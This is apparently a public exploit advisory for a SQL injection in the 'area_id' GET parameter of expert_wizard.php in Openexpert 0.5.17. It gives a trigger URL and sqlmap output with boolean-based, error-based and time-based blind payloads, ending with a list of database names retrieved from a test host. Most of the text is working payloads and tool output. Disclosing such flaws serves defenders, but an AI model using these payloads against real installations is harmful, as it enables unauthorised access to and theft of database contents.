Openexpert 0.5.17 - 'area_id' SQL Injection

# Title : Openexpert 0.5.17  - Sql Injection
# Author: Nassim Asrir
# Author Company: Henceforth
# Tested on: Winxp sp3 - win7
# Vendor: https://sourceforge.net/projects/law-expert/
# Download Software: https://sourceforge.net/projects/law-expert/files/

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## About The Product : ##

OpenExpert. Dual use Web based and Easy to Use Expert System or Education System.

## Vulnerability : ## 

- Vulnerable Parametre : area_id

- HTTP Method : GET

- To exploit it : http://HOST/expert_wizard.php?area_id=1'

- Sqlmap Output : 

Parameter: area_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: area_id=1 AND 4961=4961

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: area_id=1 AND (SELECT 8855 FROM(SELECT COUNT(*),CONCAT(0x7171706a71,(SELECT (ELT(8855=8855,1))),0x71626b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: area_id=1 AND SLEEP(5)
---
[15:35:38] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.26
back-end DBMS: MySQL >= 5.0
[15:35:38] [INFO] fetching database names
[15:35:39] [INFO] the SQL query used returns 5 entries
[15:35:39] [INFO] retrieved: information_schema
[15:35:39] [INFO] retrieved: mysql
[15:35:39] [INFO] retrieved: performance_schema
[15:35:39] [INFO] retrieved: sys
[15:35:39] [INFO] retrieved: test